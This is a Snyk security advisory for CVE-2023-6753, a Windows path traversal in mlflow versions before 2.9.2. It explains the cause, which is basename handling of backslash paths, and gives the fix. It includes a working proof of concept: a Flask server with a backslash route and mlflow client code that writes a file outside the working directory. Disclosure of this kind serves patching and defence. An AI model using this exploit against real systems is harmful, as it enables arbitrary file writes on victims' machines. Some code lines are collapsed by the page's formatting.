Path Traversal Affecting mlflow package, versions [,2.9.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.1% (44th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Path Traversal vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-MLFLOW-6124044
  • published13 Dec 2023
  • disclosed13 Dec 2023
  • credithaxatron

Introduced: 13 Dec 2023

CVE-2023-6753  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

Upgrade mlflow to version 2.9.2 or higher.

Overview

mlflow is a platform to streamline machine learning development, including tracking experiments, packaging code into reproducible runs, and sharing and deploying models.

Affected versions of this package are vulnerable to Path Traversal by loading datasets on Windows. Exploiting this vulnerability is possible when the filename is controlled by the path of the URL on Windows then, it is possible to write files outside of the current working directory using backslash '' instead of front slash '/' as posixpath.basename does not work with Windows paths.

PoC

Server:


from flask import Flask, Response
app = Flask(__name__)

@app.route("/\Users\User\poc.txt") def index(): res = Response(""" "fixed acidity";"volatile acidity";"citric acid";"residual sugar";"chlorides";"free sulfur dioxide";"total sulfur dioxide";"density";"pH";"sulphates";"alcohol";"quality" 7.4;0.7;0;1.9;0.076;11;34;0.9978;3.51;0.56;9.4;5 7.8;0.88;0;2.6;0.098;25;67;0.9968;3.2;0.68;9.8;5 """) return res

app.run("0.0.0.0", 4444)

Run the following on Windows, make sure to replace the \Users\User\poc.txt to whatever directory you control.


import mlflow.data
import pandas as pd
from mlflow.data.pandas_dataset import PandasDataset

dataset_source_url = "http://localhost:4444/\\Users\\User\\poc.txt" df = pd.read_csv(dataset_source_url) dataset: PandasDataset = mlflow.data.from_pandas(df, source=dataset_source_url)

with mlflow.start_run(): mlflow.log_input(dataset, context="training")

run = mlflow.get_run(mlflow.last_active_run().info.run_id) dataset_info = run.inputs.dataset_inputs[0].dataset

dataset_source = mlflow.data.get_source(dataset_info) dataset_source.load()

CVSS Scores

version 3.1